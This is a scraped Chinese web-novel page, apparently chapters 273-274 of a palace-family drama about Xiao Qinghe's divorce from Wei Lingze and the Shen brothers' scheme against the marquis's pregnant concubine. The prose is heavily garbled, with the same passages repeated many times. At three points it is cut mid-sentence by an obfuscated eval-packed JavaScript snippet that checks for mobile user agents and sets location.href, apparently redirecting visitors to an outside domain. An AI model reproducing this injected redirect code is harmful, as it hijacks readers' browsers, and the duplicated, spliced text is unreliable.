带暖炉,却一点儿都不觉得冷,她冒着风雪来到主院,尚未踏入院中,春喜就迎了上来:“天都黑了,还下着雪,可是发生什么事了?” 春喜撑着伞,满脸关切。 萧清禾眸子亮闪闪的,竟是激动得有些失声,她用力掐了掐自己的掌心,然后才开口:“小婶婶,我跟卫凌泽和离了。” 因为激动,萧清禾的嗓子有点哑,声音也有些颤抖。 春喜没有惊讶,也没有同情担忧,而是露出微笑,给了她一个大大的拥抱,然后她听到春喜振奋的、充满力量的声音:“太好了,禾儿,恭喜你,以后你都自由啦!” 是啊,她自由了。 萧清禾用力环住春喜,回应了这个拥抱。 片刻后她轻声说:“小婶婶,也恭喜你。” “诶?恭喜我什么?” 春喜有些不解,萧清禾柔柔道:“当初你离开卫家的时候,应该和我一样高兴,但那时可能没有人给你一个拥抱,这句恭喜是送给那个时候的你的。” 春喜心头一软,鼻子有点发酸。 卫凌泽这个身在福中不知福的狗东西,后半辈子就后悔去吧! 与此同时,卫家。 卫凌泽摔碎碗,用碎片抵住自己的喉咙:“我不同意和离,让我去见禾儿,不然我就死给你们看!” 带暖炉,却一点儿都不觉得冷,她冒着风雪来到主院,尚未踏入院中,春喜就迎了上来:“天都黑了,还下着雪,可是发生什么事了?” 春喜撑着伞,满脸关切。 萧清禾眸子亮闪闪的,竟是激动得有些失声,她用力掐了掐自己的掌心,然后才开口:“小婶婶,我跟卫凌泽和离了。” 因为激动,萧清禾的嗓子有点哑,声音也有些颤抖。 春喜没有惊讶,也没有同情担忧,而是露出微笑,给了她一个大大的拥抱,然后她听到春喜振奋的、充满力量的声音:“太好了,禾儿,恭喜你,以后你都自由啦!” 是啊,她自由了。 萧清禾用力环住春喜,回应了这个拥抱。 片刻后她轻声说:“小婶婶,也恭喜你。” “诶?恭喜我什么?” 春喜有些不解,萧清禾柔柔道:“当初你离开卫家的时候,应该和我一样高兴,但那时可能没有人给你一个拥抱,这句恭喜是送给那个时候的你的。” 春喜心头一软,鼻子有点发酸。 卫凌泽这个身在福中不知福的狗东西,后半辈子就后悔去吧! 与此同时,卫家。 卫凌泽摔碎碗,用碎片抵住自己的喉咙:“我不同意和离,让我去见禾儿,不然我就死给你们看!” 带暖炉,却一点儿都不觉得冷,她冒着风雪来到主院,尚未踏入院中,春喜就迎了上来:“天都黑了,还下着雪,可是发生什么事了?” 春喜撑着伞,满脸关切。 萧清禾眸子亮闪闪的,竟是激动得有些失声,她用力掐了掐自己的掌心,然后才开口:“小婶婶,我跟卫凌泽和离了。” 因为激动,萧清禾的嗓子有点哑,声音也有些颤抖。 春喜没有惊讶,也没有同情担忧,而是露出微笑,给了她一个大大的拥抱,然后她听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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带暖炉,却一点儿都不觉得冷,她冒着风雪来到主院,尚未踏入院中,春喜就迎了上来:“天都黑了,还下着雪,可是发生什么事了?” 春喜撑着伞,满脸关切。 萧清禾眸子亮闪闪的,竟是激动得有些失声,她用力掐了掐自己的掌心,然后才开口:“小婶婶,我跟卫凌泽和离了。” 因为激动,萧清禾的嗓子有点哑,声音也有些颤抖。 春喜没有惊讶,也没有同情担忧,而是露出微笑,给了她一个大大的拥抱,然后她听到春喜振奋的、充满力量的声音:“太好了,禾儿,恭喜你,以后你都自由啦!” 是啊,她自由了。 萧清禾用力环住春喜,回应了这个拥抱。 片刻后她轻声说:“小婶婶,也恭喜你。” “诶?恭喜我什么?” 春喜有些不解,萧清禾柔柔道:“当初你离开卫家的时候,应该和我一样高兴,但那时可能没有人给你一个拥抱,这句恭喜是送给那个时候的你的。” 春喜心头一软,鼻子有点发酸。 卫凌泽这个身在福中不知福的狗东西,后半辈子就后悔去吧! 与此同时,卫家。 卫凌泽摔碎碗,用碎片抵住自己的喉咙:“我不同意和离,让我去见禾儿,不然我就死给你们看!” 带暖炉,却一点儿都不觉得冷,她冒着风雪来到主院,尚未踏入院中,春喜就迎了上来:“天都黑了,还下着雪,可是发生什么事了?” 春喜撑着伞,满脸关切。 萧清禾眸子亮闪闪的,竟是激动得有些失声,她用力掐了掐自己的掌心,然后才开口:“小婶婶,我跟卫凌泽和离了。” 因为激动,萧清禾的嗓子有点哑,声音也有些颤抖。 春喜没有惊讶,也没有同情担忧,而是露出微笑,给了她一个大大的拥抱,然后她听到春喜振奋的、充满力量的声音:“太好了,禾儿,恭喜你,以后你都自由啦!” 是啊,她自由了。 萧清禾用力环住春喜,回应了这个拥抱。 片刻后她轻声说:“小婶婶,也恭喜你。” “诶?恭喜我什么?” 春喜有些不解,萧清禾柔柔道:“当初你离开卫家的时候,应该和我一样高兴,但那时可能没有人给你一个拥抱,这句恭喜是送给那个时候的你的。” 春喜心头一软,鼻子有点发酸。 卫凌泽这个身在福中不知福的狗东西,后半辈子就后悔去吧! 与此同时,卫家。 卫凌泽摔碎碗,用碎片抵住自己的喉咙:“我不同意和离,让我去见禾儿,不然我就死给你们看!” 第273章 卫公子,请回吧 萧清禾很想跟春喜畅饮一番,但想到春喜现在怀着孕,不宜饮酒,只能忍下。 她没留下来吃晚饭,跟春喜说了会儿话就离开了。 马车刚驶出去两条街就被卫家的马车拦了下来,卫凌泽惨白着一张脸出现在她面前。 天已经黑了,这会儿的雪很大,头顶没有月光,只有车辕上灯笼发出的昏黄亮光,卫凌泽站在风雪中,整个人看上去憔悴又狼狈,可怜极了。 “禾儿,是我错了,我不该那样对你,你别不要我好不好?” 卫凌泽艰难开口,像是被这凛冽的风雪划伤了嗓子,声音哑得不像话。 而且萧清禾坐在马车上,难得处在高位,显得他的姿态更低,透出哀求。 萧清禾内心并无波澜,平静开口:“卫公子,和离之事已由两家族老商定完成,我们已经没有关系了。” 一句“卫公子”,疏离客气的不像话,过去十多年的情谊全都化为乌有。 卫凌泽心中刺痛,更多的是慌张,他急急道:“那是父亲和族老做的决定,和我没有关系,我从来就没有想过要和你分开,禾儿,我是爱你的,我对你的心意从来都没有变过!” 卫凌泽语气坚定,恨不得竖起三指对天起誓。 萧清禾没接这话,盯着他看了会儿问:“那你能告诉我你是真的失忆还是装的吗?” 萧清禾的问题打了卫凌泽一个措手不及,他瞳孔微颤,一时不知该如何回答。 他怕萧清禾发现了什么,他越狡辩越让她寒心,更怕萧清禾只是诈他,而他不打自招会把情况弄得更糟。 卫凌泽思绪飞转,然而不等他想出完美的答案,又听到萧清禾说:“卫公子不愿意回答就算了,雪越来越大了,卫公子还是早些回去吧。” “禾儿,我是真的失忆了,但我做的那些事娘都跟我说了,都是我不好,只要你能撒气,打我骂我都可以。” 卫凌泽说完先扇了自己两巴掌。 他扇得挺狠的,巴掌声很响亮,听着都疼。 萧清禾却连眉头都没有皱一下,温温柔柔道:“既然天意让卫公子忘了过去的事,我也不会再记在心里,卫公子不必如此。” 萧清禾语气淡然,神情平静,不是故意强装不在意,而是真的已经释怀,云淡风轻。 她这样子,和离开卫家后的春喜很像。 卫凌泽越发地慌了。 他原本以为,只要借口失忆,只要能见到萧清禾,跟她说上话,她就会心软回到他身边,可是现在, 她说她也会把那些事都忘记。 她不会记得他的不好,也不会记得他的好,她要把他从自己的生命剔除。 这怎么能行? 卫凌泽控制不住想要爬上马车,然而他刚有所动作,耳畔便又有疾风袭来。 他察觉到了危险,却没有躲开,任由那把剑划伤自己的脖子。 殷红的血顺着剑尖滴滴答答地滚落。 雀枝发出低低的呼喊,车夫也被突然出现的萧夜辰吓了一跳。 虽说两人已经和离,但这样把人刺伤也不大好吧。 卫凌泽并不在意萧夜辰,只直勾勾地盯着萧清禾,期望从她脸上看到一丝一毫的关心,然而萧清禾的表情没有任何变化。 她的眸光温润,是惯有的温柔,但在此刻却显得格外的冷漠无情。 “卫公子,你走吧,不然我阿兄真的会杀了你的。 她知道萧夜辰真的会动手,但她只是劝他离开。 言下之意,如果他非要留下,她不会阻止萧夜辰杀他。 她已经连他的死活都不在乎了。 这个认知让卫凌泽心痛又愤怒,但对上萧清禾清冷的目光,再说不出一句话来。 他今晚来找她求她不要丢下自己已经很卑微很狼狈了,再继续纠缠,只会让自己变成笑话。 这般想着,卫凌泽推开萧夜辰的剑,后退两步。 “既然禾儿不想见到我,以后我可以不打扰你的生活,但我对你的心意,此生不渝。 卫凌泽离开后,萧夜辰也收了剑准备离开,萧清禾叫住他:“阿兄。 萧夜辰立刻停下动作,抬眸看过来。 这么一会儿,他头上已经落了一层薄薄的雪,整个人看上去都是冷的,唯独眸光灼热,似有火焰攒动。 萧清禾微微弯眸露出一抹笑,不像对卫凌泽那样冷淡疏离:“这几次多谢阿兄出手相助,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100267|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过我已让兄长帮我雇了身手高强的护卫,以后阿兄不必再为我费心了。 萧夜辰眸底的光顿时黯淡下去,他握紧手里的剑,沉默片刻还是开口:“能保护大小姐是我的荣幸。 他没敢奢求太多,只想有机会默默守护就好。 萧清禾柔柔道:“阿兄管着无忧阁,应该有很多事要忙,不该总把精力浪费在我身上。 萧夜辰还想再说些什么,萧清禾抢先道:“时辰不早了,我该回去了,阿兄也快回吧。 话落,萧清禾放下车帘,隔绝了视线。 萧夜辰抿了抿唇,最终什么也 没说,施展轻功消失在夜色中。 卫凌泽回家之后再次发起了高热,不过短短几日,整个人就瘦了一大圈,云氏也跟着憔悴下来。 云晚棠来卫家探望时,见两人如此模样,吓了一跳。 “泽儿受到的打击已经够多了,阿姐你可不能倒下,不然泽儿就真的没有依仗了。” 云氏点点头:“我不会倒下的,我只是看着泽儿这般萎靡不振,实在是心疼。” 云晚棠立刻道:“泽儿被停职,如今又与禾儿和离,有些颓丧也很正常,不过这京中的好姑娘不止萧清禾一个,我可再为泽儿做媒,再娶个好姑娘,有了新人泽儿就能走出来了” 云晚棠能说出这样的话,便是心中有了人选。 云氏却莫名觉得有些刺耳。 卫凌泽受伤瘫痪,萧家虽推迟婚期,三年却未曾退婚,如今两人才刚和离,泽儿就迫不及待地想着另娶,泽儿和卫家成什么了? 这般想着,云氏蹙眉道:“马上就是年关,泽儿又正病着,等年后暖和了,他的身体好一些再说这些吧。” “阿姐,我都是为了泽儿好……” 云晚棠还想再劝,云氏冷下脸来:“我是泽儿的母亲,我难道会害他?” 云氏态度坚决,云晚棠不好继续,转而又道:“曹春喜害泽儿沦落至此,阿姐打算如何处置她?” 她说的是处置,好像春喜还是卫家的丫鬟,会任由云氏打骂发卖。 云氏心中越发不耐,她掀眸睨着云晚棠:“她如今是三品大臣的夫人,你觉得我能如何处置她?” 第274章 清远侯要纳续弦 卫家最近麻烦事一大堆,云氏并不打算继续招惹春喜再生事端。 出了卫家,坐到马车上,云晚棠的脸色有些难看。 未离京之前,她不管去哪儿都是很受欢迎的,在翁州这十年,她更是翁州贵妇人争相模仿的典范。 她才貌出众,成婚后有夫君疼爱,还有一双冰雪聪明的孩子,世上女子谁能不羡慕她? 离京这十年,她一直与京中的世家夫人保持书信往来,还时不时地送些礼物回来,拉踩恒阳公主增强自己的存在感,她原本以为自己回京之后很快就能笼络人心,和这些世家夫人熟络起来,好为夫君在朝中发展人脉,谁知曹春喜几次当众让她下不来台。 回京这些日子,她不仅没能恢复以前的风光,如今连阿姐对她都冷淡了。 前些日子曹春喜到太傅府那一闹,更让太傅府众人对她非要把沈清迟扶正、还花重金把人从大理寺赎回的事生出不满来。 这和她预想的情况完全不一样! 回忆最近发生的种种,云晚棠胸中怒气横生。 她不会让曹春喜一直得意下去的! ** 腊八之后,年味渐浓,春喜不仅要忙着准备年货,还要忙着应付侯府的人,每天都很忙。 这日她刚吃过早饭,侯府便又派了人来,要她回府商议要事。 来传信的下人没说是什么事,但春喜要是不肯回去,他今日就要一头撞死在这里。 临近过年,春喜不想惹晦气,收拾了一番,便带着阿鲤和虎叔回了侯府。 沈家人全部聚在主院,连向来不管事的清远侯都露了面,阵仗挺大的。 不等春喜开口,清远侯便抢先道:“今日叫你回来是因为杳娘怀孕了,我准备过完年迎她入门,杳娘跟了我多年,我不能亏待她,婚礼之事你多上上心。” 清远侯对莫氏没多少感情,又是个好色的,春喜早就想过清远侯会再纳续弦,但没想到会这么快。 她挑了下眉,看向沈清越和沈清宇。 感受到春喜的目光,沈清宇立刻没好气道:“爹在跟你说话,大嫂看我和二哥做什么?” 春喜弯眸,淡淡道:“没什么,就是母亲尸骨未寒,父亲便要迎新人进门,我担心二弟三弟会伤心难过,现在看来是我想多了。” 春喜话里满是嘲讽,沈清越和沈清宇的脸顿时沉了下去。 莫氏尸骨未寒,他们自然是不希望清远侯纳续弦的,但眼下他们已经失了莫家的助力,侯府又成了空架子,唯一的指望就是 清远侯的爵位。 为了爵位,他们便是对清远侯再不满,那也只能憋着。 自从分了家,春喜便不再插手侯府的事,现在清远侯嘴皮子一碰,就要她出钱出力帮忙操办婚礼,沈清越和沈清宇料想她不会答应,便想让她来当这个恶人。 这样既能借春喜的手搅黄这门婚事,他们不用跟清远侯父子离心,落个不孝的名声。 然而这次他们打错了算盘,春喜很爽快地应下了这件事:“既然二弟三弟都没什么意见,婚事就按照父亲的要求来办,这样侯府有了主母,日后也不用事事都来找儿媳了。” 这话一出,沈清越和沈清宇变了脸色。 沈清宇忍不住开口:“大嫂,你可想好了,父亲可是要大办这场婚礼的,除了酒席,还有聘礼,府里的院子也要重新修缮,置办新的物件儿,出不得半点儿差池。” 春喜点点头:“我既然答应要帮父亲操办婚礼,自然会尽量做到周全,而且府里还有这么多长辈帮忙看着呢,定然是出不了什么差错的,三弟若是不放心,也可与我一起操办。” 最后一句话戳中了沈清宇的肺管子。 他娘才死几个月,他这个做儿子的就帮继娘操办起婚礼了,他还是人吗? 沈清宇恶狠狠地瞪了春喜一眼,偏头看向沈清越。 沈清越握紧拳头,沉沉道:“三弟只是担心,并不是要质疑大嫂的能力,婚礼之事,还得有劳大嫂多费心。” 两人都没有意见,沈家人自然更不会反对。 春喜愿意帮忙操办婚礼,他们也能趁机捞些油水,何乐而不为呢? 春喜走后,沈清宇迫不及待地找到沈清越:“二哥,你当真要让那个女人和野种进门?” 那个叫杳娘的狐狸精是妓子出身,虽然早就被清远侯赎了身,但也上不了台面,若真成了他们的继娘,那他们日后议亲就难了。 沈清宇满脸着急,沈清越横了他一眼:“离婚礼还早,谁也不知道曹春喜会耍什么花招,你急什么?” 沈清宇憋不了一点儿,他急急道:“曹春喜向来不走寻常路,而且刚刚她也说了,侯府有了新的主母,她就能名正言顺地不管这摊子破事了,万一她就是为了不让我们好过愿意促成这门婚事呢?” 沈清越眸底闪过冷意,半晌幽幽道:“老东西愿意让那个狐狸精过门是为了她肚子里的孩子,真到了那个时候,把那孩子弄掉,再推到大哥头上不就行了吗?” 沈清越不是要栽赃春喜,而是要栽赃沈清渊。 沈清宇脑子一转就想清楚了其中的厉害,顿时没了焦急,高兴道:“二哥好计策,那我们到时就可以等着看好戏了!” 沈清渊下值到家,春喜立刻跟他说了这件事。 沈清渊也不意外清远侯要续弦,只诧异地问:“他又有孩子了?” “对啊,父亲亲自带人去回春堂诊的喜脉,”春喜点头,又问,“这个孩子有什么问题吗?” “这个孩子不是他的。” “……”??? 公爹这是被人戴了绿帽子? 春喜惊得失声,而后又听到沈清渊说:“莫氏给他下了绝嗣的药,不然这么多年怎可能放心他在外面跟狐狸精厮混?” “……”!!! 难怪,莫氏这招真狠啊! 春喜很快从震惊中回过神来,冷静分析:“这个杳娘没名没分跟了父亲多年,突然弄出个孩子来,夫君觉得她背后会不会有人唆使?” 沈清渊没有直接回答,只道:“我发现夫人在破案方面确实有天赋。” 春喜咧唇笑起:“哪里哪里,都是在夫君身边耳濡目染学了些皮**。” 清远侯的爵位。 为了爵位,他们便是对清远侯再不满,那也只能憋着。 自从分了家,春喜便不再插手侯府的事,现在清远侯嘴皮子一碰,就要她出钱出力帮忙操办婚礼,沈清越和沈清宇料想她不会答应,便想让她来当这个恶人。 这样既能借春喜的手搅黄这门婚事,他们不用跟清远侯父子离心,落个不孝的名声。 然而这次他们打错了算盘,春喜很爽快地应下了这件事:“既然二弟三弟都没什么意见,婚事就按照父亲的要求来办,这样侯府有了主母,日后也不用事事都来找儿媳了。” 这话一出,沈清越和沈清宇变了脸色。 沈清宇忍不住开口:“大嫂,你可想好了,父亲可是要大办这场婚礼的,除了酒席,还有聘礼,府里的院子也要重新修缮,置办新的物件儿,出不得半点儿差池。” 春喜点点头:“我既然答应要帮父亲操办婚礼,自然会尽量做到周全,而且府里还有这么多长辈帮忙看着呢,定然是出不了什么差错的,三弟若是不放心,也可与我一起操办。” 最后一句话戳中了沈清宇的肺管子。 他娘才死几个月,他这个做儿子的就帮继娘操办起婚礼了,他还是人吗? 沈清宇恶狠狠地瞪了春喜一眼,偏头看向沈清越。 沈清越握紧拳头,沉沉道:“三弟只是担心,并不是要质疑大嫂的能力,婚礼之事,还得有劳大嫂多费心。” 两人都没有意见,沈家人自然更不会反对。 春喜愿意帮忙操办婚礼,他们也能趁机捞些油水,何乐而不为呢? 春喜走后,沈清宇迫不及待地找到沈清越:“二哥,你当真要让那个女人和野种进门?” 那个叫杳娘的狐狸精是妓子出身,虽然早就被清远侯赎了身,但也上不了台面,若真成了他们的继娘,那他们日后议亲就难了。 沈清宇满脸着急,沈清越横了他一眼:“离婚礼还早,谁也不知道曹春喜会耍什么花招,你急什么?” 沈清宇憋不了一点儿,他急急道:“曹春喜向来不走寻常路,而且刚刚她也说了,侯府有了新的主母,她就能名正言顺地不管这摊子破事了,万一她就是为了不让我们好过愿意促成这门婚事呢?” 沈清越眸底闪过冷意,半晌幽幽道:“老东西愿意让那个狐狸精过门是为了她肚子里的孩子,真到了那个时候,把那孩子弄掉,再推到大哥头上不就行了吗?” 沈清越不是要栽赃春喜,而是要栽赃沈清渊。 沈清宇脑子一转就想清楚了其中的厉害,顿时没了焦急,高兴道:“二哥好计策,那我们到时就可以等着看好戏了!” 沈清渊下值到家,春喜立刻跟他说了这件事。 沈清渊也不意外清远侯要续弦,只诧异地问:“他又有孩子了?” “对啊,父亲亲自带人去回春堂诊的喜脉,”春喜点头,又问,“这个孩子有什么问题吗?” “这个孩子不是他的。” “……”??? 公爹这是被人戴了绿帽子? 春喜惊得失声,而后又听到沈清渊说:“莫氏给他下了绝嗣的药,不然这么多年怎可能放心他在外面跟狐狸精厮混?” “……”!!! 难怪,莫氏这招真狠啊! 春喜很快从震惊中回过神来,冷静分析:“这个杳娘没名没分跟了父亲多年,突然弄出个孩子来,夫君觉得她背后会不会有人唆使?” 沈清渊没有直接回答,只道:“我发现夫人在破案方面确实有天赋。” 春喜咧唇笑起:“哪里哪里,都是在夫君身边耳濡目染学了些皮**。” 清远侯的爵位。 为了爵位,他们便是对清远侯再不满,那也只能憋着。 自从分了家,春喜便不再插手侯府的事,现在清远侯嘴皮子一碰,就要她出钱出力帮忙操办婚礼,沈清越和沈清宇料想她不会答应,便想让她来当这个恶人。 这样既能借春喜的手搅黄这门婚事,他们不用跟清远侯父子离心,落个不孝的名声。 然而这次他们打错了算盘,春喜很爽快地应下了这件事:“既然二弟三弟都没什么意见,婚事就按照父亲的要求来办,这样侯府有了主母,日后也不用事事都来找儿媳了。” 这话一出,沈清越和沈清宇变了脸色。 沈清宇忍不住开口:“大嫂,你可想好了,父亲可是要大办这场婚礼的,除了酒席,还有聘礼,府里的院子也要重新修缮,置办新的物件儿,出不得半点儿差池。” 春喜点点头:“我既然答应要帮父亲操办婚礼,自然会尽量做到周全,而且府里还有这么多长辈帮忙看着呢,定然是出不了什么差错的,三弟若是不放心,也可与我一起操办。” 最后一句话戳中了沈清宇的肺管子。 他娘才死几个月,他这个做儿子的就帮继娘操办起婚礼了,他还是人吗? 沈清宇恶狠狠地瞪了春喜一眼,偏头看向沈清越。 沈清越握紧拳头,沉沉道:“三弟只是担心,并不是要质疑大嫂的能力,婚礼之事,还得有劳大嫂多费心。” 两人都没有意见,沈家人自然更不会反对。 春喜愿意帮忙操办婚礼,他们也能趁机捞些油水,何乐而不为呢? 春喜走后,沈清宇迫不及待地找到沈清越:“二哥,你当真要让那个女人和野种进门?” 那个叫杳娘的狐狸精是妓子出身,虽然早就被清远侯赎了身,但也上不了台面,若真成了他们的继娘,那他们日后议亲就难了。 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这样既能借春喜的手搅黄这门婚事,他们不用跟清远侯父子离心,落个不孝的名声。 然而这次他们打错了算盘,春喜很爽快地应下了这件事:“既然二弟三弟都没什么意见,婚事就按照父亲的要求来办,这样侯府有了主母,日后也不用事事都来找儿媳了。” 这话一出,沈清越和沈清宇变了脸色。 沈清宇忍不住开口:“大嫂,你可想好了,父亲可是要大办这场婚礼的,除了酒席,还有聘礼,府里的院子也要重新修缮,置办新的物件儿,出不得半点儿差池。” 春喜点点头:“我既然答应要帮父亲操办婚礼,自然会尽量做到周全,而且府里还有这么多长辈帮忙看着呢,定然是出不了什么差错的,三弟若是不放心,也可与我一起操办。” 最后一句话戳中了沈清宇的肺管子。 他娘才死几个月,他这个做儿子的就帮继娘操办起婚礼了,他还是人吗? 沈清宇恶狠狠地瞪了春喜一眼,偏头看向沈清越。 沈清越握紧拳头,沉沉道:“三弟只是担心,并不是要质疑大嫂的能力,婚礼之事,还得有劳大嫂多费心。” 两人都没有意见,沈家人自然更不会反对。 春喜愿意帮忙操办婚礼,他们也能趁机捞些油水,何乐而不为呢? 春喜走后,沈清宇迫不及待地找到沈清越:“二哥,你当真要让那个女人和野种进门?” 那个叫杳娘的狐狸精是妓子出身,虽然早就被清远侯赎了身,但也上不了台面,若真成了他们的继娘,那他们日后议亲就难了。 沈清宇满脸着急,沈清越横了他一眼:“离婚礼还早,谁也不知道曹春喜会耍什么花招,你急什么?” 沈清宇憋不了一点儿,他急急道:“曹春喜向来不走寻常路,而且刚刚她也说了,侯府有了新的主母,她就能名正言顺地不管这摊子破事了,万一她就是为了不让我们好过愿意促成这门婚事呢?” 沈清越眸底闪过冷意,半晌幽幽道:“老东西愿意让那个狐狸精过门是为了她肚子里的孩子,真到了那个时候,把那孩子弄掉,再推到大哥头上不就行了吗?” 沈清越不是要栽赃春喜,而是要栽赃沈清渊。 沈清宇脑子一转就想清楚了其中的厉害,顿时没了焦急,高兴道:“二哥好计策,那我们到时就可以等着看好戏了!” 沈清渊下值到家,春喜立刻跟他说了这件事。 沈清渊也不意外清远侯要续弦,只诧异地问:“他又有孩子了?” “对啊,父亲亲自带人去回春堂诊的喜脉,”春喜点头,又问,“这个孩子有什么问题吗?” “这个孩子不是他的。” “……”??? 公爹这是被人戴了绿帽子? 春喜惊得失声,而后又听到沈清渊说:“莫氏给他下了绝嗣的药,不然这么多年怎可能放心他在外面跟狐狸精厮混?” “……”!!! 难怪,莫氏这招真狠啊! 春喜很快从震惊中回过神来,冷静分析:“这个杳娘没名没分跟了父亲多年,突然弄出个孩子来,夫君觉得她背后会不会有人唆使?” 沈清渊没有直接回答,只道:“我发现夫人在破案方面确实有天赋。” 春喜咧唇笑起:“哪里哪里,都是在夫君身边耳濡目染学了些皮**。” 清远侯的爵位。 为了爵位,他们便是对清远侯再不满,那也只能憋着。 自从分了家,春喜便不再插手侯府的事,现在清远侯嘴皮子一碰,就要她出钱出力帮忙操办婚礼,沈清越和沈清宇料想她不会答应,便想让她来当这个恶人。 这样既能借春喜的手搅黄这门婚事,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100268|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用跟清远侯父子离心,落个不孝的名声。 然而这次他们打错了算盘,春喜很爽快地应下了这件事:“既然二弟三弟都没什么意见,婚事就按照父亲的要求来办,这样侯府有了主母,日后也不用事事都来找儿媳了。” 这话一出,沈清越和沈清宇变了脸色。 沈清宇忍不住开口:“大嫂,你可想好了,父亲可是要大办这场婚礼的,除了酒席,还有聘礼,府里的院子也要重新修缮,置办新的物件儿,出不得半点儿差池。” 春喜点点头:“我既然答应要帮父亲操办婚礼,自然会尽量做到周全,而且府里还有这么多长辈帮忙看着呢,定然是出不了什么差错的,三弟若是不放心,也可与我一起操办。” 最后一句话戳中了沈清宇的肺管子。 他娘才死几个月,他这个做儿子的就帮继娘操办起婚礼了,他还是人吗? 沈清宇恶狠狠地瞪了春喜一眼,偏头看向沈清越。 沈清越握紧拳头,沉沉道:“三弟只是担心,并不是要质疑大嫂的能力,婚礼之事,还得有劳大嫂多费心。” 两人都没有意见,沈家人自然更不会反对。 春喜愿意帮忙操办婚礼,他们也能趁机捞些油水,何乐而不为呢? 春喜走后,沈清宇迫不及待地找到沈清越:“二哥,你当真要让那个女人和野种进门?” 那个叫杳娘的狐狸精是妓子出身,虽然早就被清远侯赎了身,但也上不了台面,若真成了他们的继娘,那他们日后议亲就难了。 沈清宇满脸着急,沈清越横了他一眼:“离婚礼还早,谁也不知道曹春喜会耍什么花招,你急什么?” 沈清宇憋不了一点儿,他急急道:“曹春喜向来不走寻常路,而且刚刚她也说了,侯府有了新的主母,她就能名正言顺地不管这摊子破事了,万一她就是为了不让我们好过愿意促成这门婚事呢?” 沈清越眸底闪过冷意,半晌幽幽道:“老东西愿意让那个狐狸精过门是为了她肚子里的孩子,真到了那个时候,把那孩子弄掉,再推到大哥头上不就行了吗?” 沈清越不是要栽赃春喜,而是要栽赃沈清渊。 沈清宇脑子一转就想清楚了其中的厉害,顿时没了焦急,高兴道:“二哥好计策,那我们到时就可以等着看好戏了!” 沈清渊下值到家,春喜立刻跟他说了这件事。 沈清渊也不意外清远侯要续弦,只诧异地问:“他又有孩子了?” “对啊,父亲亲自带人去回春堂诊的喜脉,”春喜点头,又问,“这个孩子有什么问题吗?” “这个孩子不是他的。” “……”??? 公爹这是被人戴了绿帽子? 春喜惊得失声,而后又听到沈清渊说:“莫氏给他下了绝嗣的药,不然这么多年怎可能放心他在外面跟狐狸精厮混?” “……”!!! 难怪,莫氏这招真狠啊! 春喜很快从震惊中回过神来,冷静分析:“这个杳娘没名没分跟了父亲多年,突然弄出个孩子来,夫君觉得她背后会不会有人唆使?” 沈清渊没有直接回答,只道:“我发现夫人在破案方面确实有天赋。” 春喜咧唇笑起:“哪里哪里,都是在夫君身边耳濡目染学了些皮**。” 清远侯的爵位。 为了爵位,他们便是对清远侯再不满,那也只能憋着。 自从分了家,春喜便不再插手侯府的事,现在清远侯嘴皮子一碰,就要她出钱出力帮忙操办婚礼,沈清越和沈清宇料想她不会答应,便想让她来当这个恶人。 这样既能借春喜的手搅黄这门婚事,他们不用跟清远侯父子离心,落个不孝的名声。 然而这次他们打错了算盘,春喜很爽快地应下了这件事:“既然二弟三弟都没什么意见,婚事就按照父亲的要求来办,这样侯府有了主母,日后也不用事事都来找儿媳了。” 这话一出,沈清越和沈清宇变了脸色。 沈清宇忍不住开口:“大嫂,你可想好了,父亲可是要大办这场婚礼的,除了酒席,还有聘礼,府里的院子也要重新修缮,置办新的物件儿,出不得半点儿差池。” 春喜点点头:“我既然答应要帮父亲操办婚礼,自然会尽量做到周全,而且府里还有这么多长辈帮忙看着呢,定然是出不了什么差错的,三弟若是不放心,也可与我一起操办。” 最后一句话戳中了沈清宇的肺管子。 他娘才死几个月,他这个做儿子的就帮继娘操办起婚礼了,他还是人吗? 沈清宇恶狠狠地瞪了春喜一眼,偏头看向沈清越。 沈清越握紧拳头,沉沉道:“三弟只是担心,并不是要质疑大嫂的能力,婚礼之事,还得有劳大嫂多费心。” 两人都没有意见,沈家人自然更不会反对。 春喜愿意帮忙操办婚礼,他们也能趁机捞些油水,何乐而不为呢? 春喜走后,沈清宇迫不及待地找到沈清越:“二哥,你当真要让那个女人和野种进门?” 那个叫杳娘的狐狸精是妓子出身,虽然早就被清远侯赎了身,但也上不了台面,若真成了他们的继娘,那他们日后议亲就难了。 沈清宇满脸着急,沈清越横了他一眼:“离婚礼还早,谁也不知道曹春喜会耍什么花招,你急什么?” 沈清宇憋不了一点儿,他急急道:“曹春喜向来不走寻常路,而且刚刚她也说了,侯府有了新的主母,她就能名正言顺地不管这摊子破事了,万一她就是为了不让我们好过愿意促成这门婚事呢?” 沈清越眸底闪过冷意,半晌幽幽道:“老东西愿意让那个狐狸精过门是为了她肚子里的孩子,真到了那个时候,把那孩子弄掉,再推到大哥头上不就行了吗?” 沈清越不是要栽赃春喜,而是要栽赃沈清渊。 沈清宇脑子一转就想清楚了其中的厉害,顿时没了焦急,高兴道:“二哥好计策,那我们到时就可以等着看好戏了!” 